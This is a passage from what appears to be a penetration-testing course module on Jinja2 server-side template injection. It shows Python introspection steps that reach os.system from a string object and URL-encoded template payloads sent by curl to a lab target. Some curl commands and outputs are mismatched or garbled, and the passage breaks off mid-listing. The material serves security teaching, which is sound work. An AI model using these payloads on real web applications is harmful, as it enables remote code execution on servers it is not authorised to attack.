## Jinja2 python payloads structure

Below is a small dictionary from [fatalerrors.org](https://www.fatalerrors.org/a/0dhx1Dk.html) to refer to when going over the Jinja2 payload development part of this section:

|  |  |  |
| --- | --- | --- |
| **No.** | **Methods** | **Description** |
| 1. | \_\_class\_\_ | Returns the object (class) to which the type belongs |
| 2. | \_\_mro\_\_ | Returns a tuple containing the base class inherited by the object. Methods are parsed in the order of tuples. |
| 3. | \_\_subclasses\_\_ | Each new class retains references to subclasses, and this method returns a list of references that are still available in the class |
| 4. | \_\_builtins\_\_ | Returns the builtin methods included in a function |
| 5. | \_\_globals\_\_ | A reference to a dictionary that contains global variables for a function |
| 6. | \_\_base\_\_ | Returns the base class inherited by the object <-- (\_\_ base\_\_ and \_\_ mro\_\_ are used to find the base class) |
| 7. | \_\_init\_\_ | Class initialization method |

Start by running Python on Pwnbox's or a local VM's terminal, then follow along.

#### Python 3 Interpreter

Python 3 Interpreter

yovecio@htb[/htb]$ python3  
  
Python 3.9.2 (default, Feb 28 2021, 17:03:44)   
[GCC 10.2.1 20210110] on linux  
Type "help", "copyright", "credits" or "license" for more information.  
>>>

Create a string object and use type and \_\_class\_\_, as follows. Then use the dir() command to show all methods and attributes from the object.

Code: python

>>> import flask  
>>> s = 'HTB'  
>>> type(s)  
  
<class 'str'>  
  
  
>>> s.\_\_class\_\_  
  
<class 'str'>  
  
  
>>> dir(s)  
  
['\_\_add\_\_', '\_\_class\_\_', '\_\_contains\_\_', '\_\_delattr\_\_', '\_\_dir\_\_', '\_\_doc\_\_', '\_\_eq\_\_', '\_\_format\_\_', '\_\_ge\_\_', '\_\_getattribute\_\_', '\_\_getitem\_\_', '\_\_getnewargs\_\_', '\_\_gt\_\_', '\_\_hash\_\_', '\_\_init\_\_', '\_\_init\_subclass\_\_', '\_\_iter\_\_', '\_\_le\_\_', '\_\_len\_\_', '\_\_lt\_\_', '\_\_mod\_\_', '\_\_mul\_\_', '\_\_ne\_\_', '\_\_new\_\_', '\_\_reduce\_\_', '\_\_reduce\_ex\_\_', '\_\_repr\_\_', '\_\_rmod\_\_', '\_\_rmul\_\_', '\_\_setattr\_\_', '\_\_sizeof\_\_', '\_\_str\_\_', '\_\_subclasshook\_\_', 'capitalize', 'casefold', 'center', 'count', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'format\_map', 'index', 'isalnum', 'isalpha', 'isascii', 'isdecimal', 'isdigit', 'isidentifier', 'islower', 'isnumeric', 'isprintable', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'maketrans', 'partition', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']

The next step is to understand Python's hierarchy. Using \_\_mro\_\_ or mro(), we can go back up the tree of inherited objects in the Python environment. Let's practice this as follows.

Code: python

>>> s.\_\_class\_\_.\_\_class\_\_  
  
<class 'type'>  
  
  
>>> s.\_\_class\_\_.\_\_base\_\_  
  
<class 'object'>  
  
  
>>> s.\_\_class\_\_.\_\_base\_\_.\_\_subclasses\_\_()  
  
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict\_keys'>, <class 'dict\_values'>, <class 'dict\_items'>, <class 'dict\_reversekeyiterator'>, <class 'dict\_reversevalueiterator'>, <class 'dict\_reverseitemiterator'>, <class 'odict\_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin\_function\_or\_method'>, <class 'method'>,  
 <SNIP>  
   
   
>>> s.\_\_class\_\_.mro()[1].\_\_subclasses\_\_()  
  
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict\_keys'>, <class 'dict\_values'>, <class 'dict\_items'>, <class 'dict\_reversekeyiterator'>, <class 'dict\_reversevalueiterator'>, <class 'dict\_reverseitemiterator'>, <class 'odict\_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin\_function\_or\_method'>, <class 'method'>,  
 <SNIP>

Now, let us look for useful classes that can facilitate remote code execution.

Code: python

>>> x = s.\_\_class\_\_.mro()[1].\_\_subclasses\_\_()  
>>> for i in range(len(x)):print(i, x[i].\_\_name\_\_)  
...  
0 type  
1 weakref  
2 weakcallableproxy  
3 weakproxy  
4 int  
5 bytearray  
6 bytes  
7 list  
8 NoneType  
<SNIP>  
  
>>> def searchfunc(name):  
... x = s.\_\_class\_\_.mro()[1].\_\_subclasses\_\_()  
... for i in range(len(x)):  
... fn = x[i].\_\_name\_\_  
... if fn.find(name) > -1:  
... print(i, fn)  
...  
>>> searchfunc('warning')  
  
215 catch\_warnings

Why are we searching for warning you may ask. We chose this class because it imports Python's [sys module](https://github.com/python/cpython/blob/3.9/Lib/warnings.py#L3) , and from sys, the os module can be reached. More precisely, os modules are all from warnings.catch\_.

Please note that you will probably come across a different number. Back to our Python for SSTI specifics, we have seen that catch\_warnings is present without importing any additional module to our Python console. Let's enumerate the builtins from this class as follows.

Code: python

>>> y = x[215]  
>>> y  
  
<class 'warnings.catch\_warnings'>  
  
  
>>> y().\_module.\_\_builtins\_\_  
  
{'\_\_name\_\_': 'builtins', '\_\_doc\_\_': "Built-in functions, exceptions, and other objects.\n\nNoteworthy: None is the `nil' object; Ellipsis represents `...' in slices.", '\_\_package\_\_': '', '\_\_loader\_\_': <class '\_frozen\_importlib.BuiltinImporter'>, '\_\_spec\_\_': ModuleSpec(name='builtins', loader=<class '\_frozen\_importlib.BuiltinImporter'>), '\_\_build\_class\_\_': <built-in function \_\_build\_class\_\_>, '\_\_import\_\_': <built-in function \_\_import\_\_>, 'abs': <built-in function abs>, 'all': <built-in function all>, 'any': <built-in function any>, 'ascii': <built-in function ascii>, 'bin': <built-in function bin>, 'breakpoint': <built-in function breakpoint>, 'callable': <built-in function callable>, 'chr': <built-in function chr>, 'compile': <built-in function compile>, 'delattr': <built-in function delattr>, 'dir': <built-in function dir>, 'divmod': <built-in function divmod>, 'eval': <built-in function eval>, 'exec': <built-in function exec>, 'format': <built-in function format>, 'getattr': <built-in function getattr>, 'globals': <built-in function globals>,  
 <SNIP>  
  
  
>>> z = y().\_module.\_\_builtins\_\_  
>>> for i in z:  
... if i.find('import') >-1:  
... print(i, z[i])  
...   
\_\_import\_\_ <built-in function \_\_import\_\_>

It seems we have reached the import function by walking the hierarchy. This means we can load os and use the system function to execute code all coming from a string object, as follows.

Code: python

>>> ''.\_\_class\_\_.\_\_mro\_\_[1].\_\_subclasses\_\_()  
  
[215]().\_module.\_\_builtins\_\_['\_\_import\_\_']('os').system('echo RCE from a string object')  
RCE from a string object  
0

Returning to our vulnerable web application, let's see how we can repeat the same process and develop an RCE payload. Remember that the below payloads can be submitted to the application via the browser as is or via cURL after being URL encoded.

Payload:

Code: python

{{ ''.\_\_class\_\_ }}

#### Curl - Interacting with the Target

Curl - Interacting with the Target

yovecio@htb[/htb]$ curl -gs "http://<TARGET IP>:<PORT>/execute?cmd=%7B%7B%20%27%27.\_\_class\_\_%20%7D%7D"  
  
<SNIP>  
<body>  
 <div id="desktop">  
 <div class="window" data-title="Run">  
 <form action="/execute" method="get">  
 <a>C:\><input type="text" name="cmd" id="command"></a>  
 <br/>  
 <a>&lt;class &#39;str&#39;&gt;</a>  
 <br/>  
 <input type="submit" value="execute">  
 </form>  
 </div>  
<SNIP>  
</body>

#### Payload

Code: python

{{ ''.\_\_class\_\_.\_\_mro\_\_ }}

#### Curl - Interacting with the Target

Curl - Interacting with the Target

yovecio@htb[/htb]$ curl -gs "http://<TARGET IP>:<PORT>/execute?cmd=%7B%7B%20%27%27.\_\_class\_\_.\_\_mro\_\_%20%7D%7D"  
  
<SNIP>  
<body>  
 <div id="desktop">  
 <div class="window" data-title="Run">  
 <form action="/execute" method="get">  
 <a>C:\><input type="text" name="cmd" id="command"></a>  
 <br/>  
 <a>(&lt;class &#39;str&#39;&gt;, &lt;class &#39;object&#39;&gt;)</a>  
 <br/>  
 <input type="submit" value="execute">  
 </form>  
 </div>  
<SNIP>  
</body>

We are interested in the second item, so the payload should become:

Code: python

{{ ''.\_\_class\_\_.\_\_mro\_\_[1] }}

Curl - Interacting with the Target

yovecio@htb[/htb]$ curl -gs "http://<TARGET IP>:<PORT>/execute?cmd=%7B%7B%20%27%27.\_\_class\_\_.\_\_mro\_\_%20%7D%7D"  
  
<SNIP>  
<body>  
 <div id="desktop">  
 <div class="window" data-title="Run">  
 <form action="/execute" method="get">  
 <a>C:\><input type="text" name="cmd" id="command"></a>  
 <br/>  
 <a>&lt;class &#39;object&#39;&gt;</a>  
 <br/>  
 <input type="submit" value="execute">  
 </form>  
 </div>  
<SNIP>  
</body>

Let us start walking down the hierarchy, as follows.

Code: python

{{ ''.\_\_class\_\_.\_\_mro\_\_[1].\_\_subclasses\_\_() }}

Curl - Interacting with the Target

yovecio@htb[/htb]$ curl -gs "http://<TARGET IP>:<PORT>/execute?cmd=%7B%7B%20%27%27.\_\_class\_\_.\_\_mro\_\_%5B1%5D.\_\_subclasses\_\_%28%29%20%7D%7D"  
  
<SNIP>  
<body>  
 <div id="desktop">  
 <div class="window" data-title="Run">  
 <form action="/execute" method="get">  
 <a>C:\><input type="text" name="cmd" id="command"></a>  
 <br/>  
 <a>[&lt;class &#39;type&#39;&gt;, &lt;class &#39;weakref&#39;&gt;, &lt;class &#39;weakcallableproxy&#39;&gt;, &lt;class &#39;weakproxy&#39;&gt;, &lt;class &#39;int&#39;&gt;, &lt;class &#39;bytearray&#39;&gt;, &lt;class &#39;bytes&#39;&gt;, &lt;class &#39;list&#39;&gt;, &lt;class &#39;NoneType&#39;&gt;, &lt;class &#39;NotImplementedType&#39;&gt;, &lt;class &#39;traceback&#39;&gt;, &lt;class &#39;super&#39;&gt;, &lt;class &#39;range&#39;&gt;, &lt;class &#39;dict&#39;&gt;, &lt;class &#39;dict\_keys&#39;&gt;, &lt;class &#39;dict\_values&#39;&gt;, &lt;class &#39;dict\_items&#39;&gt;, &lt;class &#39;dict\_reversekeyiterator&#39;&gt;, &lt;class &#39;dict\_reversevalueiterator&#39;&gt;, &lt;class &#39;dict\_reverseitemiterator&#39;&gt;, &lt;class &#39;odict\_iterator&#39;&gt;, &lt;class &#39;set&#39;&gt;, &lt;class &#39;str&#39;&gt;, &lt;class &#39;slice&#39;&gt;, &lt;class &#39;staticmethod&#39;&gt;, &lt;class &#39;complex&#39;&gt;, &lt;class &#39;float&#39;&gt;, &lt;class &#39;frozenset&#39;&gt;, &lt;class &#39;property&#39;&gt;, &lt;class &#39;managedbuffer&#39;&gt;, &lt;class &#39;memoryview&#39;&gt;, &lt;class &#39;tuple&#39;&gt;, &lt;class &#39;enumerate&#39;&gt;, &lt;class &#39;reversed&#39;&gt;, &lt;class &#39;stderrprinter&#39;&gt;, &lt;class &#39;code&#39;&gt;, &lt;class &#39;frame&#39;&gt;, &lt;class &#39;builtin\_function\_or\_method&#39;&gt;, &lt;class &#39;method&#39;&gt;, &lt;class &#39;function&#39;&gt;, &lt;class &#39;mappingproxy&#39;&gt;, &lt;class &#39;generator&#39;&gt;, &lt;class &#39;getset\_descriptor&#39;&gt;, &lt;class &#39;wrapper\_descriptor&#39;&gt;, &lt;class &#39;method-wrapper&#39;&gt;, &lt;class &#39;ellipsis&#39;&gt;, &lt;class &#39;member\_descriptor&#39;&gt;, &lt;class &#39;types.SimpleNamespace&#39;&gt;, &lt;class &#39;PyCapsule&#39;&gt;, &lt;class &#39;longrange\_iterator&#39;&gt;, &lt;class &#39;cell&#39;&gt;, &lt;class &#39;instancemethod&#39;&gt;, &lt;class &#39;classmethod\_descriptor&#39;&gt;, &lt;class &#39;method\_descriptor&#39;&gt;, &lt;class &#39;callable\_iterator&#39;&gt;, &lt;class &#39;iterator&#39;&gt;, &lt;class &#39;pickle.PickleBuffer&#39;&gt;, &lt;class &#39;coroutine&#39;&gt;, &lt;class &#39;coroutine\_wrapper&#39;&gt;, &lt;class &#39;InterpreterID&#39;&gt;, &lt;class &#39;EncodingMap&#39;&gt;, &lt;class &#39;fieldnameiterator&#39;&gt;, &lt;class &#39;formatteriterator&#39;&gt;, &lt;class &#39;BaseException&#39;&gt;, &lt;class &#39;hamt&#39;&gt;, &lt;class &#39;hamt\_array\_node&#39;&gt;, &lt;class &#39;hamt\_bitmap\_node&#39;&gt;, &lt;class &#39;hamt\_collision\_node&#39;&gt;, &lt;class &#39;keys&#39;&gt;, &lt;class &#39;values&#39;&gt;, &lt;class &#39;items&#39;&gt;, &lt;class &#39;Context&#39;&gt;, &lt;class &#39;ContextVar&#39;&gt;, &lt;class &#39;Token&#39;&gt;, &lt;class &#39;Token.MISSING&#39;&gt;, &lt;class &#39;moduledef&#39;&gt;, &lt;class &#39;module&#39;&gt;, &lt;class &#39;filter&#39;&gt;, &lt;class &#39;map&#39;&gt;, &lt;class &#39;zip&#39;&gt;, &lt;class &#39;\_frozen\_importlib.\_ModuleLock&#39;&gt;, &lt;class &#39;\_frozen\_importlib.\_DummyModuleLock&#39;&gt;, &lt;class &#39;\_frozen\_importlib.\_ModuleLockManager&#39;&gt;, &lt;class &#39;\_frozen\_importlib.ModuleSpec&#39;&gt;, &lt;class &#39;\_frozen\_importlib.BuiltinImporter&#39;&gt;, &lt;class &#39;classmethod&#39;&gt;, &lt;class &#39;\_frozen\_importlib.FrozenImporter&#39;&gt;, &lt;class &#39;\_frozen\_importlib.\_ImportLockContext&#39;&gt;, &lt;class &#39;\_thread.\_localdummy&#39;&gt;, &lt;class &#39;\_thread.\_local&#39;&gt;, &lt;class &#39;\_thread.lock&#39;&gt;, &lt;class &#39;\_thread.RLock&#39;&gt;, &lt;class &#39;\_io.\_IOBase&#39;&gt;, &lt;class &#39;\_io.\_BytesIOBuffer&#39;&gt;, &lt;class &#39;\_io.IncrementalNewlineDecoder&#39;&gt;, &lt;class &#39;posix.ScandirIterator&#39;&gt;, &lt;class &#39;posix.DirEntry&#39;&gt;, &lt;class &#39;\_frozen\_importlib\_external.WindowsRegistryFinder&#39;&gt;, &lt;class &#39;\_frozen\_importlib\_external.\_LoaderBasics&#39;&gt;, &lt;class &#39;\_frozen\_importlib\_external.FileLoader&#39;&gt;, &lt;class &#39;\_frozen\_importlib\_external.\_NamespacePath&#39;&gt;, &lt;class &#39;\_frozen\_importlib\_external.\_NamespaceLoader&#39;&gt;, &lt;class &#39;\_frozen\_importlib\_external.PathFinder&#39;&gt;, &lt;class &#39;\_frozen\_importlib\_external.FileFinder&#39;&gt;, &lt;class &#39;zipimport.zipimporter&#39;&gt;, &lt;class &#39;zipimport.\_ZipImportResourceReader&#39;&gt;, &lt;class &#39;codecs.Codec&#39;&gt;, &lt;class &#39;codecs.IncrementalEncoder&#39;&gt;, &lt;class &#39;codecs.IncrementalDecoder&#39;&gt;, &lt;class &#39;codecs.StreamReaderWriter&#39;&gt;, &lt;class &#39;codecs.StreamRecoder&#39;&gt;, &lt;class &#39;\_abc\_data&#39;&gt;, &lt;class &#39;abc.ABC&#39;&gt;, &lt;class &#39;dict\_itemiterator&#39;&gt;, &lt;class &#39;collections.abc.Hashable&#39;&gt;, &lt;class &#39;collections.abc.Awaitable&#39;&gt;, &lt;class &#39;collections.abc.AsyncIterable&#39;&gt;, &lt;class &#39;async\_generator&#39;&gt;, &lt;class &#39;collections.abc.Iterable&#39;&gt;, &lt;class &#39;bytes\_iterator&#39;&gt;, &lt;class &#39;bytearray\_iterator&#39;&gt;, &lt;class &#39;dict\_keyiterator&#39;&gt;, &lt;class &#39;dict\_valueiterator&#39;&gt;, &lt;class &#39;list\_iterator&#39;&gt;, &lt;class &#39;list\_reverseiterator&#39;&gt;, &lt;class &#39;range\_iterator&#39;&gt;, &lt;class &#39;set\_iterator&#39;&gt;, &lt;class &#39;str\_iterator&#39;&gt;, &lt;class &#39;tuple\_iterator&#39;&gt;, &lt;class &#39;collections.abc.Sized&#39;&gt;, &lt;class &#39;collections.abc.Container&#39;&gt;, &lt;class &#39;collections.abc.Callable&#39;&gt;, &lt;class &#39;os.\_wrap\_close&#39;&gt;, &lt;class &#39;\_sitebuiltins.Quitter&#39;&gt;, &lt;class &#39;\_sitebuiltins.\_Printer&#39;&gt;, &lt;class &#39;\_sitebuiltins.\_Helper&#39;&gt;, &lt;class &#39;operator.itemgetter&#39;&gt;, &lt;class &#39;operator.attrgetter&#39;&gt;, &lt;class &#39;operator.methodcaller&#39;&gt;, &lt;class &#39;itertools.accumulate&#39;&gt;, &lt;class &#39;itertools.combinations&#39;&gt;, &lt;class &#39;itertools.combinations\_with\_replacement&#39;&gt;, &lt;class &#39;itertools.cycle&#39;&gt;, &lt;class &#39;itertools.dropwhile&#39;&gt;, &lt;class &#39;itertools.takewhile&#39;&gt;, &lt;class &#39;itertools.islice&#39;&gt;, &lt;class &#39;itertools.starmap&#39;&gt;, &lt;class &#39;itertools.chain&#39;&gt;, &lt;class &#39;itertools.compress&#39;&gt;, &lt;class &#39;itertools.filterfalse&#39;&gt;, &lt;class &#39;itertools.count&#39;&gt;, &lt;class &#39;itertools.zip\_longest&#39;&gt;, &lt;class &#39;itertools.permutations&#39;&gt;, &lt;class &#39;itertools.product&#39;&gt;, &lt;class &#39;itertools.repeat&#39;&gt;, &lt;class &#39;itertools.groupby&#39;&gt;, &lt;class &#39;itertools.\_grouper&#39;&gt;, &lt;class &#39;itertools.\_tee&#39;&gt;, &lt;class &#39;itertools.\_tee\_dataobject&#39;&gt;, &lt;class &#39;reprlib.Repr&#39;&gt;, &lt;class &#39;collections.deque&#39;&gt;, &lt;class &#39;\_collections.\_deque\_iterator&#39;&gt;, &lt;class &#39;\_collections.\_deque\_reverse\_iterator&#39;&gt;, &lt;class &#39;\_collections.\_tuplegetter&#39;&gt;, &lt;class &#39;collections.\_Link&#39;&gt;, &lt;class &#39;functools.partial&#39;&gt;, &lt;class &#39;functools.\_lru\_cache\_wrapper&#39;&gt;, &lt;class &#39;functools.partialmethod&#39;&gt;, &lt;class &#39;functools.singledispatchmethod&#39;&gt;, &lt;class &#39;functools.cached\_property&#39;&gt;, &lt;class &#39;types.DynamicClassAttribute&#39;&gt;, &lt;class &#39;types.\_GeneratorWrapper&#39;&gt;, &lt;class &#39;enum.auto&#39;&gt;, &lt;enum &#39;Enum&#39;&gt;, &lt;class &#39;re.Pattern&#39;&gt;, &lt;class &#39;re.Match&#39;&gt;, &lt;class &#39;\_sre.SRE\_Scanner&#39;&gt;, &lt;class &#39;sre\_parse.State&#39;&gt;, &lt;class &#39;sre\_parse.SubPattern&#39;&gt;, &lt;class &#39;sre\_parse.Tokenizer&#39;&gt;, &lt;class &#39;re.Scanner&#39;&gt;, &lt;class &#39;string.Template&#39;&gt;, &lt;class &#39;string.Formatter&#39;&gt;, &lt;class &#39;contextlib.ContextDecorator&#39;&gt;, &lt;class &#39;contextlib.\_GeneratorContextManagerBase&#39;&gt;, &lt;class &#39;contextlib.\_BaseExitStack&#39;&gt;, &lt;class &#39;typing.\_Final&#39;&gt;, &lt;class &#39;typing.\_Immutable&#39;&gt;, &lt;class &#39;typing.Generic&#39;&gt;, &lt;class &#39;typing.\_TypingEmpty&#39;&gt;, &lt;class &#39;typing.\_TypingEllipsis&#39;&gt;, &lt;class &#39;typing.NamedTuple&#39;&gt;, &lt;class &#39;typing.io&#39;&gt;, &lt;class &#39;typing.re&#39;&gt;, &lt;class &#39;\_ast.AST&#39;&gt;, &lt;class &#39;markupsafe.\_MarkupEscapeHelper&#39;&gt;, &lt;class &#39;select.poll&#39;&gt;, &lt;class &#39;select.epoll&#39;&gt;, &lt;class &#39;selectors.BaseSelector&#39;&gt;, &lt;class &#39;\_socket.socket&#39;&gt;, &lt;class &#39;\_weakrefset.\_IterationGuard&#39;&gt;, &lt;class &#39;\_weakrefset.WeakSet&#39;&gt;, &lt;class &#39;threading.\_RLock&#39;&gt;, &lt;class &#39;threading.Condition&#39;&gt;, &lt;class &#39;threading.Semaphore&#39;&gt;, &lt;class &#39;threading.Event&#39;&gt;, &lt;class &#39;threading.Barrier&#39;&gt;, &lt;class &#39;threading.Thread&#39;&gt;, &lt;class &#39;socketserver.BaseServer&#39;&gt;, &lt;class &#39;socketserver.ForkingMixIn&#39;&gt;, &lt;class &#39;socketserver.\_NoThreads&#39;&gt;, &lt;class &#39;socketserver.ThreadingMixIn&#39;&gt;, &lt;class &#39;socketserver.BaseRequestHandler&#39;&gt;, &lt;class &#39;warnings.WarningMessage&#39;&gt;, &lt;class &#39;warnings.catch\_warnings&#39;&gt;, &lt;class &#39;datetime.date&#39;&gt;, &lt;class &#39;datetime.timedelta&#39;&gt;, &lt;class &#39;datetime.time&#39;&gt;, &lt;class &#39;datetime.tzinfo&#39;&gt;, &lt;class &#39;weakref.finalize.\_Info&#39;&gt;, &lt;class &#39;weakref.finalize&#39;&gt;, &lt;class &#39;\_sha512.sha384&#39;&gt;, &lt;class &#39;\_sha512.sha512&#39;&gt;, &lt;class &#39;\_random.Random&#39;&gt;, &lt;class &#39;urllib.parse.\_ResultMixinStr&#39;&gt;, &lt;class &#39;urllib.parse.\_ResultMixinBytes&#39;&gt;, &lt;class &#39;urllib.parse.\_NetlocResultMixinBase&#39;&gt;, &lt;class &#39;calendar.\_localized\_month&#39;&gt;, &lt;class &#39;calendar.\_localized\_day&#39;&gt;, &lt;class &#39;calendar.Calendar&#39;&gt;, &lt;class &#39;calendar.different\_locale&#39;&gt;, &lt;class &#39;email.\_parseaddr.AddrlistClass&#39;&gt;, &lt;class &#39;Struct&#39;&gt;, &lt;class &#39;unpack\_iterator&#39;&gt;, &lt;class &#39;email.charset.Charset&#39;&gt;, &lt;class &#39;email.header.Header&#39;&gt;, &lt;class &#39;email.header.\_ValueFormatter&#39;&gt;, &lt;class &#39;email.\_policybase.\_PolicyBase&#39;&gt;, &lt;class &#39;email.feedparser.BufferedSubFile&#39;&gt;, &lt;class &#39;email.feedparser.FeedParser&#39;&gt;, &lt;class &#39;email.parser.Parser&#39;&gt;, &lt;class &#39;email.parser.BytesParser&#39;&gt;, &lt;class &#39;email.message.Message&#39;&gt;, &lt;class &#39;http.client.HTTPConnection&#39;&gt;, &lt;class &#39;\_ssl.\_SSLContext&#39;&gt;, &lt;class &#39;\_ssl.\_SSLSocket&#39;&gt;, &lt;class &#39;\_ssl.MemoryBIO&#39;&gt;, &lt;class &#39;\_ssl.Session&#39;&gt;, &lt;class &#39;ssl.SSLObject&#39;&gt;, &lt;class &#39;mimetypes.MimeTypes&#39;&gt;, &lt;class &#39;zlib.Compress&#39;&gt;, &lt;class &#39;zlib.Decompress&#39;&gt;, &lt;class &#39;\_bz2.BZ2Compressor&#39;&gt;, &lt;class &#39;\_bz2.BZ2Decompressor&#39;&gt;, &lt;class &#39;\_lzma.LZMACompressor&#39;&gt;, &lt;class &#39;\_lzma.LZMADecompressor&#39;&gt;, &lt;class &#39;dis.Bytecode&#39;&gt;, &lt;class &#39;tokenize.Untokenizer&#39;&gt;, &lt;class &#39;inspect.BlockFinder&#39;&gt;, &lt;class &#39;inspect.\_void&#39;&gt;, &lt;class &#39;inspect.\_empty&#39;&gt;, &lt;class &#39;inspect.Parameter&#39;&gt;, &lt;class &#39;inspect.BoundArguments&#39;&gt;, &lt;class &#39;inspect.Signature&#39;&gt;, &lt;class &#39;traceback.FrameSummary&#39;&gt;, &lt;class &#39;traceback.TracebackException&#39;&gt;, &lt;class &#39;logging.LogRecord&#39;&gt;, &lt;class &#39;logging.PercentStyle&#39;&gt;, &lt;class &#39;logging.Formatter&#39;&gt;, &lt;class &#39;logging.BufferingFormatter&#39;&gt;, &lt;class &#39;logging.Filter&#39;&gt;, &lt;class &#39;logging.Filterer&#39;&gt;, &lt;class &#39;logging.PlaceHolder&#39;&gt;, &lt;class {{ ''.\_\_class\_\_.\_\_mro\_\_ }}  
&#39;logging.Manager&#39;&gt;, &lt;class &#39;logging.LoggerAdapter&#39;&gt;, &lt;class &#39;werkzeug.\_internal.\_Missing&#39;&gt;, &lt;class &#39;werkzeug.exceptions.Aborter&#39;&gt;, &lt;class &#39;werkzeug.urls.Href&#39;&gt;, &lt;class &#39;subprocess.CompletedProcess&#39;&gt;, &lt;class &#39;subprocess.Popen&#39;&gt;, &lt;class &#39;\_hashlib.HASH&#39;&gt;, &lt;class &#39;\_blake2.blake2b&#39;&gt;, &lt;class &#39;\_blake2.blake2s&#39;&gt;, &lt;class &#39;\_sha3.sha3\_224&#39;&gt;, &lt;class &#39;\_sha3.sha3\_256&#39;&gt;, &lt;class &#39;\_sha3.sha3\_384&#39;&gt;, &lt;class &#39;\_sha3.sha3\_512&#39;&gt;, &lt;class &#39;\_sha3.shake\_128&#39;&gt;, &lt;class &#39;\_sha3.shake\_256&#39;&gt;, &lt;class &#39;tempfile.\_RandomNameSequence&#39;&gt;, &lt;class &#39;tempfile.\_TemporaryFileCloser&#39;&gt;, &lt;class &#39;tempfile.\_TemporaryFileWrapper&#39;&gt;, &lt;class &#39;tempfile.SpooledTemporaryFile&#39;&gt;, &lt;class &#39;tempfile.TemporaryDirectory&#39;&gt;, &lt;class &#39;urllib.request.Request&#39;&gt;, &lt;class &#39;urllib.request.OpenerDirector&#39;&gt;, &lt;class &#39;urllib.request.BaseHandler&#39;&gt;, &lt;class &#39;urllib.request.HTTPPasswordMgr&#39;&gt;, &lt;class &#39;urllib.request.AbstractBasicAuthHandler&#39;&gt;, &lt;class &#39;urllib.request.AbstractDigestAuthHandler&#39;&gt;, &lt;class &#39;urllib.request.URLopener&#39;&gt;, &lt;class &#39;urllib.request.ftpwrapper&#39;&gt;, &lt;class &#39;http.cookiejar.Cookie&#39;&gt;, &lt;class &#39;http.cookiejar.CookiePolicy&#39;&gt;, &lt;class &#39;http.cookiejar.Absent&#39;&gt;, &lt;class &#39;http.cookiejar.CookieJar&#39;&gt;, &lt;class &#39;werkzeug.datastructures.ImmutableListMixin&#39;&gt;, &lt;class &#39;werkzeug.datastructures.ImmutableDictMixin&#39;&gt;, &lt;class &#39;werkzeug.datastructures.\_omd\_bucket&#39;&gt;, &lt;class &#39;werkzeug.datastructures.Headers&#39;&gt;, &lt;class &#39;werkzeug.datastructures.ImmutableHeadersMixin&#39;&gt;, &lt;class &#39;werkzeug.datastructures.IfRange&#39;&gt;, &lt;class &#39;werkzeug.datastructures.Range&#39;&gt;, &lt;class &#39;werkzeug.datastructures.ContentRange&#39;&gt;, &lt;class &#39;werkzeug.datastructures.FileStorage&#39;&gt;, &lt;class &#39;dataclasses.\_HAS\_DEFAULT\_FACTORY\_CLASS&#39;&gt;, &lt;class &#39;dataclasses.\_MISSING\_TYPE&#39;&gt;, &lt;class &#39;dataclasses.\_FIELD\_BASE&#39;&gt;, &lt;class &#39;dataclasses.InitVar&#39;&gt;, &lt;class &#39;dataclasses.Field&#39;&gt;, &lt;class &#39;dataclasses.\_DataclassParams&#39;&gt;, &lt;class &#39;werkzeug.sansio.multipart.Event&#39;&gt;, &lt;class &#39;werkzeug.sansio.multipart.MultipartDecoder&#39;&gt;, &lt;class &#39;werkzeug.sansio.multipart.MultipartEncoder&#39;&gt;, &lt;class &#39;importlib.abc.Finder&#39;&gt;, &lt;class &#39;importlib.abc.Loader&#39;&gt;, &lt;class &#39;importlib.abc.ResourceReader&#39;&gt;, &lt;class &#39;pkgutil.ImpImporter&#39;&gt;, &lt;class &#39;pkgutil.ImpLoader&#39;&gt;, &lt;class &#39;hmac.HMAC&#39;&gt;, &lt;class &#39;werkzeug.wsgi.ClosingIterator&#39;&gt;, &lt;class &#39;werkzeug.wsgi.FileWrapper&#39;&gt;, &lt;class &#39;werkzeug.wsgi.\_RangeWrapper&#39;&gt;, &lt;class &#39;werkzeug.utils.HTMLBuilder&#39;&gt;, &lt;class &#39;werkzeug.wrappers.accept.AcceptMixin&#39;&gt;, &lt;class &#39;werkzeug.wrappers.auth.AuthorizationMixin&#39;&gt;, &lt;class &#39;werkzeug.wrappers.auth.WWWAuthenticateMixin&#39;&gt;, &lt;class &#39;\_json.Scanner&#39;&gt;, &lt;class &#39;\_json.Encoder&#39;&gt;, &lt;class &#39;json.decoder.JSONDecoder&#39;&gt;, &lt;class &#39;json.encoder.JSONEncoder&#39;&gt;, &lt;class &#39;werkzeug.formparser.FormDataParser&#39;&gt;, &lt;class &#39;werkzeug.formparser.MultiPartParser&#39;&gt;, &lt;class &#39;werkzeug.user\_agent.UserAgent&#39;&gt;, &lt;class &#39;werkzeug.useragents.\_UserAgentParser&#39;&gt;, &lt;class &#39;werkzeug.sansio.request.Request&#39;&gt;, &lt;class &#39;werkzeug.wrappers.request.StreamOnlyMixin&#39;&gt;, &lt;class &#39;werkzeug.sansio.response.Response&#39;&gt;, &lt;class &#39;werkzeug.wrappers.response.ResponseStream&#39;&gt;, &lt;class 